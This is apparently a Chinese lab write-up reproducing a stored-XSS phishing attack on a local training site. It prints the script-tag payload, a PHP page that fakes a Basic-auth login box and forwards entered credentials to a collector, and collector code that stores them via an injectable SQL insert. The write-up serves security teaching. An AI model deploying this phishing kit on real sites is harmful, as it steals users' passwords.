一、复现过程
1、payload
<script src="http://127.0.0.1/pkxss/xfish/fish.php"></script>
将这段代码插入到含有储存xss的网页上,如下留言板
2、此时恶意代码已经存入数据库,并存在网页中,当另一个用户打开这个网页时,就会触发xss恶意代码,被跳转的另一个页面,并弹出登入框
3、这个时候如果输入账号密码,就会被恶意构造的后台窃取储存
二、分析流程
1、fish.php:文件源码分析,这是恶意构造的页面,即恶意插入xss代码中的url:127.0.0.1/pkxss/xfish/fish.php
即复现步骤2的恶意构造登入页面的源码
这是一个basic认证,你输入账号密码时会将这些信息记录并重定向到http://127.0.0.1/pkxss/xfish/xfish.php?页面
<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
header("Location: http://127.0.0.1/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
2、xfish.php:他会获取到传入过来的账号密,并将这些存入数据库
<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
if(!empty($_GET['username']) && !empty($_GET['password'])){
$username=$_GET['username'];
$password=$_GET['password'];
$referer="";
$referer.=$_SERVER['HTTP_REFERER'];
$time=date('Y-m-d g:i:s');
$query="insert fish(time,username,password,referer)
values('$time','$username','$password','$referer')";
$result=mysqli_query($link, $query);
}
?>
总结:
1、在含有xss漏洞页面,插入一个一个恶意script代码,代码会触发跳转页到恶意页面